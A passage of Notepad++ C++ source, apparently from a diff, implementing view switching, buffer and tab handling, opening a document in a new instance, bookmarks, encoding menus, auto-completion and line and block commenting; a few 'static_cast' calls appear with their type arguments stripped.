fit + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); +} + +bool Notepad_plus::viewVisible(int whichOne) { + int viewToCheck = (whichOne == SUB_VIEW?WindowSubActive:WindowMainActive); + return (_mainWindowStatus & viewToCheck) != 0; +} + +void Notepad_plus::hideCurrentView() +{ + hideView(currentView()); +} + +void Notepad_plus::hideView(int whichOne) +{ + if (!(bothActive())) //cannot close if not both views visible + return; + + Window * windowToSet = (whichOne == MAIN_VIEW)?&_subDocTab:&_mainDocTab; + if (_mainWindowStatus & WindowUserActive) + { + _pMainSplitter->setWin0(windowToSet); + } + else + { + // otherwise the main window is the spltter container that we just created + _pMainWindow = windowToSet; + } + + _subSplitter.display(false); //hide splitter + //hide scintilla and doctab + if (whichOne == MAIN_VIEW) { + _mainEditView.display(false); + _mainDocTab.display(false); + } else if (whichOne == SUB_VIEW) { + _subEditView.display(false); + _subDocTab.display(false); + } + + // resize the main window + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); + + switchEditViewTo(otherFromView(whichOne)); + int viewToDisable = (whichOne == SUB_VIEW?WindowSubActive:WindowMainActive); + _mainWindowStatus &= ~viewToDisable; +} + +bool Notepad_plus::loadStyles() +{ + NppParameters *pNppParam = NppParameters::getInstance(); + return pNppParam->reloadStylers(); +} + +bool Notepad_plus::canHideView(int whichOne) +{ + if (!viewVisible(whichOne)) + return false; //cannot hide hidden view + if (!bothActive()) + return false; //cannot hide only window + DocTabView * tabToCheck = (whichOne == MAIN_VIEW)?&_mainDocTab:&_subDocTab; + Buffer * buf = MainFileManager->getBufferByID(tabToCheck->getBufferByIndex(0)); + bool canHide = ((tabToCheck->nbItem() == 1) && !buf->isDirty() && buf->isUntitled()); + return canHide; +} + +bool Notepad_plus::isEmpty() +{ + if (bothActive()) return false; + + DocTabView * tabToCheck = (_mainWindowStatus & WindowMainActive) ? &_mainDocTab : &_subDocTab; + + Buffer * buf = MainFileManager->getBufferByID(tabToCheck->getBufferByIndex(0)); + bool isEmpty = ((tabToCheck->nbItem() == 1) && !buf->isDirty() && buf->isUntitled()); + return isEmpty; +} + +void Notepad_plus::loadBufferIntoView(BufferID id, int whichOne, bool dontClose) +{ + DocTabView * tabToOpen = (whichOne == MAIN_VIEW)?&_mainDocTab:&_subDocTab; + ScintillaEditView * viewToOpen = (whichOne == MAIN_VIEW)?&_mainEditView:&_subEditView; + + //check if buffer exists + int index = tabToOpen->getIndexByBuffer(id); + if (index != -1) //already open, done + return; + + BufferID idToClose = BUFFER_INVALID; + //Check if the tab has a single clean buffer. Close it if so + if (!dontClose && tabToOpen->nbItem() == 1) + { + idToClose = tabToOpen->getBufferByIndex(0); + Buffer * buf = MainFileManager->getBufferByID(idToClose); + if (buf->isDirty() || !buf->isUntitled()) + { + idToClose = BUFFER_INVALID; + } + } + + MainFileManager->addBufferReference(id, viewToOpen); + + //close clean doc. Use special logic to prevent flicker of tab showing then hiding + if (idToClose != BUFFER_INVALID) + { + tabToOpen->setBuffer(0, id); //index 0 since only one open + activateBuffer(id, whichOne); //activate. DocTab already activated but not a problem + MainFileManager->closeBuffer(idToClose, viewToOpen); //delete the buffer + if (_pFileSwitcherPanel) + _pFileSwitcherPanel->closeItem(idToClose, whichOne); + } + else + { + tabToOpen->addBuffer(id); + } +} + +bool Notepad_plus::removeBufferFromView(BufferID id, int whichOne) +{ + DocTabView * tabToClose = (whichOne == MAIN_VIEW) ? &_mainDocTab : &_subDocTab; + ScintillaEditView * viewToClose = (whichOne == MAIN_VIEW) ? &_mainEditView : &_subEditView; + + //check if buffer exists + int index = tabToClose->getIndexByBuffer(id); + if (index == -1) //doesn't exist, done + return false; + + Buffer * buf = MainFileManager->getBufferByID(id); + + //Cannot close doc if last and clean + if (tabToClose->nbItem() == 1) + { + if (!buf->isDirty() && buf->isUntitled()) + { + return false; + } + } + + int active = tabToClose->getCurrentTabIndex(); + if (active == index) //need an alternative (close real doc, put empty one back) + { + if (tabToClose->nbItem() == 1) //need alternative doc, add new one. Use special logic to prevent flicker of adding new tab then closing other + { + BufferID newID = MainFileManager->newEmptyDocument(); + MainFileManager->addBufferReference(newID, viewToClose); + tabToClose->setBuffer(0, newID); //can safely use id 0, last (only) tab open + activateBuffer(newID, whichOne); //activate. DocTab already activated but not a problem + } + else + { + int toActivate = 0; + //activate next doc, otherwise prev if not possible + if (size_t(active) == tabToClose->nbItem() - 1) //prev + { + toActivate = active - 1; + } + else + { + toActivate = active; //activate the 'active' index. Since we remove the tab first, the indices shift (on the right side) + } + tabToClose->deletItemAt((size_t)index); //delete first + _isFolding = true; // So we can ignore events while folding is taking place + activateBuffer(tabToClose->getBufferByIndex(toActivate), whichOne); //then activate. The prevent jumpy tab behaviour + _isFolding = false; + } + } + else + { + tabToClose->deletItemAt((size_t)index); + } + + MainFileManager->closeBuffer(id, viewToClose); + return true; +} + +int Notepad_plus::switchEditViewTo(int gid) +{ + if (currentView() == gid) { //make sure focus is ok, then leave + _pEditView->getFocus(); //set the focus + return gid; + } + if (!viewVisible(gid)) + return currentView(); //cannot activate invisible view + + int oldView = currentView(); + int newView = otherView(); + + _activeView = newView; + //Good old switcheroo + DocTabView * tempTab = _pDocTab; + _pDocTab = _pNonDocTab; + _pNonDocTab = tempTab; + ScintillaEditView * tempView = _pEditView; + _pEditView = _pNonEditView; + _pNonEditView = tempView; + + _pEditView->beSwitched(); + _pEditView->getFocus(); //set the focus + + if (_pDocMap) + { + _pDocMap->initWrapMap(); + } + + // Before switching off, synchronize backup file + MainFileManager->backupCurrentBuffer(); + + notifyBufferActivated(_pEditView->getCurrentBufferID(), currentView()); + return oldView; +} + +void Notepad_plus::dockUserDlg() +{ + if (!_pMainSplitter) + { + _pMainSplitter = new SplitterContainer; + _pMainSplitter->init(_pPublicInterface->getHinst(), _pPublicInterface->getHSelf()); + + Window *pWindow; + if (_mainWindowStatus & (WindowMainActive | WindowSubActive)) + pWindow = &_subSplitter; + else + pWindow = _pDocTab; + + _pMainSplitter->create(pWindow, ScintillaEditView::getUserDefineDlg(), 8, SplitterMode::RIGHT_FIX, 45); + } + + if (bothActive()) + _pMainSplitter->setWin0(&_subSplitter); + else + _pMainSplitter->setWin0(_pDocTab); + + _pMainSplitter->display(); + + _mainWindowStatus |= WindowUserActive; + _pMainWindow = _pMainSplitter; + + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); +} + +void Notepad_plus::undockUserDlg() +{ + // a cause de surchargement de "display" + ::ShowWindow(_pMainSplitter->getHSelf(), SW_HIDE); + + if (bothActive()) + _pMainWindow = &_subSplitter; + else + _pMainWindow = _pDocTab; + + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); + + _mainWindowStatus &= ~WindowUserActive; + (ScintillaEditView::getUserDefineDlg())->display(); +} + +void Notepad_plus::docOpenInNewInstance(FileTransferMode mode, int x, int y) +{ + BufferID bufferID = _pEditView->getCurrentBufferID(); + Buffer * buf = MainFileManager->getBufferByID(bufferID); + if (buf->isUntitled() || buf->isDirty()) + return; + + TCHAR nppName[MAX_PATH]; + ::GetModuleFileName(NULL, nppName, MAX_PATH); + generic_string command = TEXT("\""); + command += nppName; + command += TEXT("\""); + command += TEXT(" \"$(FULL_CURRENT_PATH)\" -multiInst -nosession"); + + if (x) { + TCHAR pX[10]; + generic_itoa(x, pX, 10); + command += TEXT(" -x"); + command += pX; + } + if (y) { + TCHAR pY[10]; + generic_itoa(y, pY, 10); + command += TEXT(" -y"); + command += pY; + } + + command += TEXT(" -l"); + command += ScintillaEditView::langNames[buf->getLangType()].lexerName; + command += TEXT(" -n"); + command += to_wstring(_pEditView->getCurrentLineNumber() + 1); + command += TEXT(" -c"); + command += to_wstring(_pEditView->getCurrentColumnNumber() + 1); + + Command cmd(command); + cmd.run(_pPublicInterface->getHSelf()); + if (mode == TransferMove) + { + doClose(bufferID, currentView()); + if (noOpenedDoc()) + ::SendMessage(_pPublicInterface->getHSelf(), WM_CLOSE, 0, 0); + } +} + +void Notepad_plus::docGotoAnotherEditView(FileTransferMode mode) +{ + // Test if it's only doc to transfer on the hidden view + // If so then do nothing + if (mode == TransferMove) + { + if (_pDocTab->nbItem() == 1) + { + ScintillaEditView *pOtherView = NULL; + if (_pEditView == &_mainEditView) + { + pOtherView = &_subEditView; + } + else if (_pEditView == &_subEditView) + { + pOtherView = &_mainEditView; + } + else + return; + + if (!pOtherView->isVisible()) + return; + } + } + + //First put the doc in the other view if not present (if it is, activate it). + //Then if needed close in the original tab + BufferID current = _pEditView->getCurrentBufferID(); + int viewToGo = otherView(); + int indexFound = _pNonDocTab->getIndexByBuffer(current); + if (indexFound != -1) //activate it + { + activateBuffer(current, otherView()); + } + else //open the document, also copying the position + { + // If both the views are visible then first save the position of non-edit view + // So that moving document between views does not lose caret position + // How it works => + // non-edit view becomes edit view as document from edit view is sent to non edit view + // restoreCurrentPos is called on non-edit view, which will restore the position of + // active document/tab on non-edit view (whatever position we set in below if condition) + if (_pEditView->isVisible() && _pNonEditView->isVisible()) + { + _pNonEditView->saveCurrentPos(); + } + + loadBufferIntoView(current, viewToGo); + Buffer *buf = MainFileManager->getBufferByID(current); + _pEditView->saveCurrentPos(); //allow copying of position + buf->setPosition(buf->getPosition(_pEditView), _pNonEditView); + _pNonEditView->restoreCurrentPos(); //set position + activateBuffer(current, viewToGo); + } + + //Open the view if it was hidden + int viewToOpen = (viewToGo == SUB_VIEW?WindowSubActive:WindowMainActive); + if (!(_mainWindowStatus & viewToOpen)) + { + showView(viewToGo); + } + + bool monitoringWasOn = false; + + //Close the document if we transfered the document instead of cloning it + if (mode == TransferMove) + { + Buffer *buf = MainFileManager->getBufferByID(current); + monitoringWasOn = buf->isMonitoringOn(); + + //just close the activate document, since thats the one we moved (no search) + doClose(_pEditView->getCurrentBufferID(), currentView()); + } // else it was cone, so leave it + + //Activate the other view since thats where the document went + switchEditViewTo(viewToGo); + + if (monitoringWasOn) + { + command(IDM_VIEW_MONITORING); + } +} + +bool Notepad_plus::activateBuffer(BufferID id, int whichOne) +{ + bool isSnapshotMode = NppParameters::getInstance()->getNppGUI().isSnapshotMode(); + if (isSnapshotMode) + { + // Before switching off, synchronize backup file + MainFileManager->backupCurrentBuffer(); + } + Buffer * pBuf = MainFileManager->getBufferByID(id); + bool reload = pBuf->getNeedReload(); + if (reload) + { + MainFileManager->reloadBuffer(id); + pBuf->setNeedReload(false); + } + if (whichOne == MAIN_VIEW) + { + if (_mainDocTab.activateBuffer(id)) //only activate if possible + _mainEditView.activateBuffer(id); + else + return false; + } + else + { + if (_subDocTab.activateBuffer(id)) + _subEditView.activateBuffer(id); + else + return false; + } + + if (reload) + { + performPostReload(whichOne); + } + + notifyBufferActivated(id, whichOne); + return true; +} + +void Notepad_plus::performPostReload(int whichOne) { + NppParameters *pNppParam = NppParameters::getInstance(); + const NppGUI & nppGUI = pNppParam->getNppGUI(); + bool toEnd = (nppGUI._fileAutoDetection == cdAutoUpdateGo2end) || (nppGUI._fileAutoDetection == cdGo2end); + if (!toEnd) + return; + if (whichOne == MAIN_VIEW) { + _mainEditView.execute(SCI_GOTOLINE, _mainEditView.execute(SCI_GETLINECOUNT) -1); + } else { + _subEditView.execute(SCI_GOTOLINE, _subEditView.execute(SCI_GETLINECOUNT) -1); + } +} + +void Notepad_plus::bookmarkNext(bool forwardScan) +{ + size_t lineno = _pEditView->getCurrentLineNumber(); + int sci_marker = SCI_MARKERNEXT; + size_t lineStart = lineno + 1; //Scan starting from next line + int lineRetry = 0; //If not found, try from the beginning + if (!forwardScan) + { + lineStart = lineno - 1; //Scan starting from previous line + lineRetry = int(_pEditView->execute(SCI_GETLINECOUNT)); //If not found, try from the end + sci_marker = SCI_MARKERPREVIOUS; + } + int nextLine = int(_pEditView->execute(sci_marker, lineStart, 1 << MARK_BOOKMARK)); + if (nextLine < 0) + nextLine = int(_pEditView->execute(sci_marker, lineRetry, 1 << MARK_BOOKMARK)); + + if (nextLine < 0) + return; + + _pEditView->execute(SCI_ENSUREVISIBLEENFORCEPOLICY, nextLine); + _pEditView->execute(SCI_GOTOLINE, nextLine); +} + +void Notepad_plus::staticCheckMenuAndTB() const +{ + // Visibility of invisible characters + bool wsTabShow = _pEditView->isInvisibleCharsShown(); + bool eolShow = _pEditView->isEolVisible(); + + bool onlyWS = false; + bool onlyEOL = false; + bool bothWSEOL = false; + if (wsTabShow) + { + if (eolShow) + { + bothWSEOL = true; + } + else + { + onlyWS = true; + } + } + else if (eolShow) + { + onlyEOL = true; + } + + checkMenuItem(IDM_VIEW_TAB_SPACE, onlyWS); + checkMenuItem(IDM_VIEW_EOL, onlyEOL); + checkMenuItem(IDM_VIEW_ALL_CHARACTERS, bothWSEOL); + _toolBar.setCheck(IDM_VIEW_ALL_CHARACTERS, bothWSEOL); + + // Visibility of the indentation guide line + bool b = _pEditView->isShownIndentGuide(); + checkMenuItem(IDM_VIEW_INDENT_GUIDE, b); + _toolBar.setCheck(IDM_VIEW_INDENT_GUIDE, b); + + + // Wrap + b = _pEditView->isWrap(); + checkMenuItem(IDM_VIEW_WRAP, b); + _toolBar.setCheck(IDM_VIEW_WRAP, b); + checkMenuItem(IDM_VIEW_WRAP_SYMBOL, _pEditView->isWrapSymbolVisible()); +} + + +void Notepad_plus::dynamicCheckMenuAndTB() const +{ + //Format conversion + enableConvertMenuItems(_pEditView->getCurrentBuffer()->getEolFormat()); + checkUnicodeMenuItems(); +} + + +void Notepad_plus::enableConvertMenuItems(EolType format) const +{ + enableCommand(IDM_FORMAT_TODOS, (format != EolType::windows), MENU); + enableCommand(IDM_FORMAT_TOUNIX, (format != EolType::unix), MENU); + enableCommand(IDM_FORMAT_TOMAC, (format != EolType::macos), MENU); +} + + +void Notepad_plus::checkUnicodeMenuItems() const +{ + Buffer *buf = _pEditView->getCurrentBuffer(); + UniMode um = buf->getUnicodeMode(); + int encoding = buf->getEncoding(); + + int id = -1; + switch (um) + { + case uniUTF8 : id = IDM_FORMAT_UTF_8; break; + case uni16BE : id = IDM_FORMAT_UCS_2BE; break; + case uni16LE : id = IDM_FORMAT_UCS_2LE; break; + case uniCookie : id = IDM_FORMAT_AS_UTF_8; break; + case uni8Bit : id = IDM_FORMAT_ANSI; break; + } + + if (encoding == -1) + { + // Uncheck all in the sub encoding menu + ::CheckMenuRadioItem(_mainMenuHandle, IDM_FORMAT_ENCODE, IDM_FORMAT_ENCODE_END, IDM_FORMAT_ENCODE, MF_BYCOMMAND); + ::CheckMenuItem(_mainMenuHandle, IDM_FORMAT_ENCODE, MF_UNCHECKED | MF_BYCOMMAND); + + if (id == -1) //um == uni16BE_NoBOM || um == uni16LE_NoBOM + { + // Uncheck all in the main encoding menu + ::CheckMenuRadioItem(_mainMenuHandle, IDM_FORMAT_ANSI, IDM_FORMAT_AS_UTF_8, IDM_FORMAT_ANSI, MF_BYCOMMAND); + ::CheckMenuItem(_mainMenuHandle, IDM_FORMAT_ANSI, MF_UNCHECKED | MF_BYCOMMAND); + } + else + { + ::CheckMenuRadioItem(_mainMenuHandle, IDM_FORMAT_ANSI, IDM_FORMAT_AS_UTF_8, id, MF_BYCOMMAND); + } + } + else + { + EncodingMapper *em = EncodingMapper::getInstance(); + int cmdID = em->getIndexFromEncoding(encoding); + if (cmdID == -1) + { + //printStr(TEXT("Encoding problem. Encoding is not added in encoding_table?")); + return; + } + cmdID += IDM_FORMAT_ENCODE; + + // Uncheck all in the main encoding menu + ::CheckMenuRadioItem(_mainMenuHandle, IDM_FORMAT_ANSI, IDM_FORMAT_AS_UTF_8, IDM_FORMAT_ANSI, MF_BYCOMMAND); + ::CheckMenuItem(_mainMenuHandle, IDM_FORMAT_ANSI, MF_UNCHECKED | MF_BYCOMMAND); + + // Check the encoding item + ::CheckMenuRadioItem(_mainMenuHandle, IDM_FORMAT_ENCODE, IDM_FORMAT_ENCODE_END, cmdID, MF_BYCOMMAND); + } +} + +void Notepad_plus::showAutoComp() +{ + bool isFromPrimary = _pEditView == &_mainEditView; + AutoCompletion * autoC = isFromPrimary?&_autoCompleteMain:&_autoCompleteSub; + autoC->showApiComplete(); +} + +void Notepad_plus::showPathCompletion() +{ + bool isFromPrimary = _pEditView == &_mainEditView; + AutoCompletion * autoC = isFromPrimary?&_autoCompleteMain:&_autoCompleteSub; + autoC->showPathCompletion(); +} + +void Notepad_plus::autoCompFromCurrentFile(bool autoInsert) +{ + bool isFromPrimary = _pEditView == &_mainEditView; + AutoCompletion * autoC = isFromPrimary?&_autoCompleteMain:&_autoCompleteSub; + autoC->showWordComplete(autoInsert); +} + +void Notepad_plus::showFunctionComp() +{ + bool isFromPrimary = _pEditView == &_mainEditView; + AutoCompletion * autoC = isFromPrimary?&_autoCompleteMain:&_autoCompleteSub; + autoC->showFunctionComplete(); +} + +static generic_string extractSymbol(TCHAR firstChar, TCHAR secondChar, const TCHAR *str2extract) +{ + bool found = false; + TCHAR extracted[128] = TEXT(""); + + for (size_t i = 0, j = 0, len = lstrlen(str2extract) ; i < len ; ++i) + { + if (found) + { + if (!str2extract[i] || str2extract[i] == ' ') + { + extracted[j] = '\0'; + return generic_string(extracted); + } + extracted[j++] = str2extract[i]; + + } + else + { + if (!str2extract[i]) + return TEXT(""); + + if (str2extract[i] == firstChar && str2extract[i+1] == secondChar) + { + found = true; + ++i; + } + } + } + return generic_string(extracted); +}; + +bool Notepad_plus::doBlockComment(comment_mode currCommentMode) +{ + Buffer * buf = _pEditView->getCurrentBuffer(); + // Avoid side-effects (e.g. cursor moves number of comment-characters) when file is read-only. + if (buf->isReadOnly()) + return false; + + //-- BlockToStreamComment: + const TCHAR *commentStart; + const TCHAR *commentEnd; + generic_string symbolStart; + generic_string symbolEnd; + + const TCHAR *commentLineSymbol; + generic_string symbol; + + //Single Line Comment/Uncomment/Toggle can have two modes: + // * a NORMAL MODE which uses a commentLineSymbol to comment/uncomment code per line, and + // * an ADVANCED MODE which uses commentStart and commentEnd symbols to comment/uncomment code per line. + //The NORMAL MODE is used for all Lexers which have a commentLineSymbol defined. + //The ADVANCED MODE is only available for Lexers which do not have a commentLineSymbol but commentStreamSymbols (start/end) defined. + //The ADVANCED MODE behaves the same way as the NORMAL MODE (comment/uncomment every single line in the selection range separately) + //but uses two smbols to accomplish this. + bool isSingleLineAdvancedMode = false; + + if (buf->getLangType() == L_USER) + { + UserLangContainer * userLangContainer = NppParameters::getInstance()->getULCFromName(buf->getUserDefineLangName()); + if (!userLangContainer) + return false; + + symbol = extractSymbol('0', '0', userLangContainer->_keywordLists[SCE_USER_KWLIST_COMMENTS]); + commentLineSymbol = symbol.c_str(); + // BlockToStreamComment: Needed to decide, if stream-comment can be called below! + symbolStart = extractSymbol('0', '3', userLangContainer->_keywordLists[SCE_USER_KWLIST_COMMENTS]); + commentStart = symbolStart.c_str(); + symbolEnd = extractSymbol('0', '4', userLangContainer->_keywordLists[SCE_USER_KWLIST_COMMENTS]); + commentEnd = symbolEnd.c_str(); + } + else + { + commentLineSymbol = buf->getCommentLineSymbol(); + // BlockToStreamComment: Needed to decide, if stream-comment can be called below! + commentStart = buf->getCommentStart(); + commentEnd = buf->getCommentEnd(); + } + + if ((!commentLineSymbol) || (!commentLineSymbol[0]) || (commentLineSymbol == NULL)) + { + // BlockToStreamComment: If there is no block-comment symbol, try the stream comment: + if (!(!commentStart || !commentStart[0] || commentStart == NULL || !commentEnd || !commentEnd[0] || commentEnd == NULL)) + { + if (currCommentMode == cm_comment) + { + //Do an advanced "Single Line Comment" by using stream-comment symbols (start/end) per line in this case. + isSingleLineAdvancedMode = true; + //return doStreamComment(); //Use "Block Comment" for this. + } + else if (currCommentMode == cm_uncomment) + { + //"undoStreamComment()" can be more flexible than "isSingleLineAdvancedMode = true", + //since it can uncomment more embedded levels at once and the commentEnd symbol can be located everywhere. + //But, depending on the selection start/end position, the first/last selected line may not be uncommented properly! + return undoStreamComment(false); + //isSingleLineAdvancedMode = true; + } + else if (currCommentMode == cm_toggle) + { + //Do an advanced "Toggle Single Line Comment" by using stream-comment symbols (start/end) per line in this case. + isSingleLineAdvancedMode = true; + } + else + return false; + } + else + return false; + } + + //For Single Line NORMAL MODE + generic_string comment; + size_t comment_length = 0; + + //For Single Line ADVANCED MODE + generic_string advCommentStart; + generic_string advCommentEnd; + size_t advCommentStart_length = 0; + size_t advCommentEnd_length = 0; + + const TCHAR aSpace[] { TEXT(" ") }; + + //Only values that have passed through will be assigned, to be sure they are valid! + if (not isSingleLineAdvancedMode) + { + comment = commentLineSymbol; + + if (!(buf->getLangType() == L_BAANC)) // BaanC standardization - no space. + comment += aSpace; + + comment_length = comment.length(); + } + else // isSingleLineAdvancedMode + { + advCommentStart = commentStart; + advCommentStart += aSpace; + advCommentEnd = aSpace; + advCommentEnd += commentEnd; + + advCommentStart_length = advCommentStart.length(); + advCommentEnd_length = advCommentEnd.length(); + } + + size_t selectionStart = _pEditView->execute(SCI_GETSELECTIONSTART); + size_t selectionEnd = _pEditView->execute(SCI_GETSELECTIONEND); + size_t caretPosition = _pEditView->execute(SCI_GETCURRENTPOS); + // checking if caret is located in _beginning_ of selected block + bool move_caret = caretPosition < selectionEnd; + int selStartLine = static_cast(_pEditView->execute(SCI_LINEFROMPOSITION, selectionStart)); + int selEndLine = static_cast(_pEditView->execute(SCI_LINEFROMPOSITION, selectionEnd)); + int lines = selEndLine - selStartLine; + // "caret return" is part of the last selected line + if ((lines > 0) && (selectionEnd == static_cast(_pEditView->execute(SCI_POSITIONFROMLINE, selEndLine)))) + selEndLine--; + // count lines which were un-commented to decide if undoStreamComment() shall be called. + int nUncomments = 0; + //Some Lexers need line-comments at the beginning of a line. + const bool avoidIndent = (buf->getLangType() == L_FORTRAN_77 || buf->getLangType() == L_BAANC); + //Some Lexers comment blank lines, per their standards. + const bool commentEmptyLines = (buf->getLangType() == L_BAANC); + + _pEditView->execute(SCI_BEGINUNDOACTION); + + for (int i = selStartLine; i <= selEndLine; ++i) + { + size_t lineStart = _pEditView->execute(SCI_POSITIONFROMLINE, i); + size_t lineIndent = _pEditView->execute(SCI_GETLINEINDENTPOSITION, i); + size_t lineEnd = _pEditView->execute(SCI_GETLINEENDPOSITION, i); + + // empty lines are not commented, unless required by the language. + if (lineIndent == lineEnd && !commentEmptyLines) + continue; + + if (avoidIndent) + lineIndent = lineStart; + + size_t linebufferSize = lineEnd - lineIndent + comment_length; + TCHAR* linebuf = new TCHAR[linebufferSize]; + + _pEditView->getGenericText(linebuf, linebufferSize, lineIndent, lineEnd); + + generic_string linebufStr = linebuf; + delete [] linebuf; + + if (currCommentMode != cm_comment) // uncomment/toggle + { + if (not isSingleLineAdvancedMode) + { + // In order to do get case insensitive comparison use strnicmp() instead case-sensitive comparison. + // Case insensitive comparison is needed e.g. for "REM" and "rem" in Batchfiles. + if (generic_strnicmp(linebufStr.c_str(), comment.c_str(), !(buf->getLangType() == L_BAANC) ? comment_length - 1 : comment_length) == 0) + { + size_t len = linebufStr[comment_length - 1] == aSpace[0] ? comment_length : !(buf->getLangType() == L_BAANC) ? comment_length - 1 : comment_length; + + _pEditView->execute(SCI_SETSEL, lineIndent, lineIndent + len); + _pEditView->replaceSelWith(""); + + // SELECTION RANGE ADJUSTMENT ....................... + if (i == selStartLine) // first selected line + { + if (selectionStart > lineIndent + len) + selectionStart -= len; + else if (selectionStart > lineIndent) + selectionStart = lineIndent; + } // ................................................ + if (i == selEndLine) // last selected line + { + if (selectionEnd > lineIndent + len) + selectionEnd -= len; + else if (selectionEnd > lineIndent) + { + selectionEnd = lineIndent; + if (lineIndent == lineStart && i != selStartLine) + ++selectionEnd; // avoid caret return in this case + } + } // ................................................ + else // every iteration except the last selected line + selectionEnd -= len; + // .................................................. + + ++nUncomments; + continue; + } + } + else // isSingleLineAdvancedMode + { + if ((generic_strnicmp(linebufStr.c_str(), advCommentStart.c_str(), advCommentStart_length - 1) == 0) && + (generic_strnicmp(linebufStr.substr(linebufStr.length() - advCommentEnd_length + 1, advCommentEnd_length - 1).c_str(), advCommentEnd.substr(1, advCommentEnd_length - 1).c_str(), advCommentEnd_length - 1) == 0)) + { + size_t startLen = linebufStr[advCommentStart_length - 1] == aSpace[0] ? advCommentStart_length : advCommentStart_length - 1; + size_t endLen = linebufStr[linebufStr.length() - advCommentEnd_length] == aSpace[0] ? advCommentEnd_length : advCommentEnd_length - 1; + + _pEditView->execute(SCI_SETSEL, lineIndent, lineIndent + startLen); + _pEditView->replaceSelWith(""); + _pEditView->execute(SCI_SETSEL, lineEnd - startLen - endLen, lineEnd - startLen); + _pEditView->replaceSelWith(""); + + // SELECTION RANGE ADJUSTMENT ....................... + if (i == selStartLine) // first selected line + { + if (selectionStart > lineEnd - endLen) + selectionStart = lineEnd - startLen - endLen; + else if (selectionStart > lineIndent + startLen) + selectionStart -= startLen; + else if (selectionStart > lineIndent) + selectionStart = lineIndent; + } // ................................................ + if (i == selEndLine) // last selected line + { + if (selectionEnd > lineEnd) + selectionEnd -= (startLen + endLen); + else if (selectionEnd > lineEnd - endLen) + selectionEnd = lineEnd - startLen - endLen; + else if (selectionEnd > lineIndent + startLen) + selectionEnd -= startLen; + else if (selectionEnd > lineIndent) + { + selectionEnd = lineIndent; + if (lineIndent == lineStart && i != selStartLine) + ++selectionEnd; // avoid caret return in this case + } + } // ................................................ + else // every iteration except the last selected line + selectionEnd -= (startLen + endLen); + // .................................................. + + ++nUncomments; + continue; + } + } + } // uncomment/toggle + + if (currCommentMode != cm_uncomment) // comment/toggle + { + if (not isSingleLineAdvancedMode) + { + _pEditView->insertGenericTextFrom(lineIndent, comment.c_str()); + + // SELECTION RANGE ADJUSTMENT ....................... + if (i == selStartLine) // first selected line + { + if (selectionStart >= lineIndent) + selectionStart += comment_length; + } // ................................................ + if (i == selEndLine) // last selected line + { + if (selectionEnd >= lineIndent) + selectionEnd += comment_length; + } // ................................................ + else // every iteration except the last selected line + selectionEnd += comment_length; + // .................................................. + } + else // isSingleLineAdvancedMode + { + _pEditView->insertGenericTextFrom(lineIndent, advCommentStart.c_str()); + _pEditView->insertGenericTextFrom(lineEnd + advCommentStart_length, advCommentEnd.c_str()); + + // SELECTION RANGE ADJUSTMENT ....................... + if (i == selStartLine) // first selected line + { + if (selectionStart >= lineIndent) + selectionStart += advCommentStart_length; + } // ................................................ + if (i == selEndLine) // last selected line + { + if (selectionEnd > lineEnd) + selectionEnd += (advCommentStart_length + advCommentEnd_length); + else if (selectionEnd >= lineIndent) + selectionEnd += advCommentStart_length; + } // ................................................ + else // every iteration except the last selected line + selectionEnd += (advCommentStart_length + advCommentEnd_length); + // .................................................. + } + } // comment/toggle + } // for (...) + + if (move_caret) + { + // moving caret to the beginning of selected block + _pEditView->execute(SCI_GOTOPOS, selectionEnd); + _pEditView->execute(SCI_SETCURRENTPOS, selectionStart); + } + else + { + _pEditView->execute(SCI_SETSEL, selectionStart, selectionEnd); + } + _pEditView->execute(SCI_ENDUNDOACTION); + + // undoStreamComment: If there were no block-comments to un-comment try uncommenting of stream-comment. + if ((currCommentMode == cm_uncomment) && (nUncomments == 0)) { + return undoStreamComment(false); + } + return true; +} + +bool Notepad_plus::doStreamComment() +{ + const TCHAR *commentStart; + const TCHAR *commentEnd; + + generic_string symbolStart; + generic_string symbolEnd; + + // BlockToStreamComment: + const TCHAR *commentLineSymbol; + generic_string symbol; + + Buffer * buf = _pEditView->getCurrentBuffer(); + // Avoid side-effects (e.g. cursor moves number of comment-characters) when file is read-only. + if (buf->isReadOnly()) + return false; + + if (buf->getLangType() == L_USER) + { + UserLangContainer * userLangContainer = NppParameters::getInstance()->getULCFromName(buf->getUserDefineLangName()); + + if (!userLangContainer) + return false; + + // BlockToStreamComment: Next two lines needed to decide, if block-comment can be called below! + symbol = extractSymbol('0', '0', userLangContainer->_keywordLists[SCE_USER_KWLIST_COMMENTS]); + commentLineSymbol = symbol.c_str(); + + symbolStart = extractSymbol('0', '3', userLangContainer->_keywordLists[SCE_USER_KWLIST_COMMENTS]); + commentStart = symbolStart.c_str(); + symbolEnd = extractSymbol('0', '4', userLangContainer->_keywordLists[SCE_USER_KWLIST_COMMENTS]); + commentEnd = symbolEnd.c_str(); + } + else + { + // BlockToStreamComment: Next line needed to decide, if block-comment can be called below! + commentLineSymbol = buf->getCommentLineSymbol(); + commentStart = buf->getCommentStart(); + commentEnd = buf->getCommentEnd(); + } + + // BlockToStreamComment: If there is no stream-comment symbol, try the block comment: + if ((!commentStart) || (!commentStart[0]) || (commentStart == NULL) || (!commentEnd) || (!commentEnd[0]) || (commentEnd == NULL)) { + if (!(!commentLineSymbol || !commentLineSymbol[0] || commentLineSymbol == NULL)) + return doBlockComment(cm_comment); + else + return false; + } + + generic_string start_comment(commentStart); + generic_string end_comment(commentEnd); + generic_string white_space(TEXT(" ")); + + start_comment += white_space; + white_space += end_comment; + end_comment = white_space; + size_t start_comment_length = start_comment.length(); + size_t selectionStart = _pEditView->execute(SCI_GETSELECTIONSTART); + size_t selectionEnd = _pEditView->execute(SCI_GETSELECTIONEND); + size_t caretPosition = _pEditView->execute(SCI_GETCURRENTPOS); + // checking if caret is located in _beginning_ of selected block + bool move_caret = caretPosition < selectionEnd; + + // if there is no selection? + if (selectionEnd - selectionStart <= 0) + { + auto selLine = _pEditView->execute(SCI_LINEFROMPOSITION, selectionStart); + selectionStart = _pEditView->execute(SCI_GETLINEINDENTPOSITION, selLine); + selectionEnd = _pEditView->execute(SCI_GETLINEENDPOSITION, selLine); + } + _pEditView->execute(SCI_BEGINUNDOACTION); + _pEditView->insertGenericTextFrom(selectionStart, start_comment.c_str()); + selectionEnd += start_comment_length; + selectionStart += start_comment_length; + _pEditView->insertGenericTextFrom(selectionEnd, end_comment.c_str()); + if (move_caret) 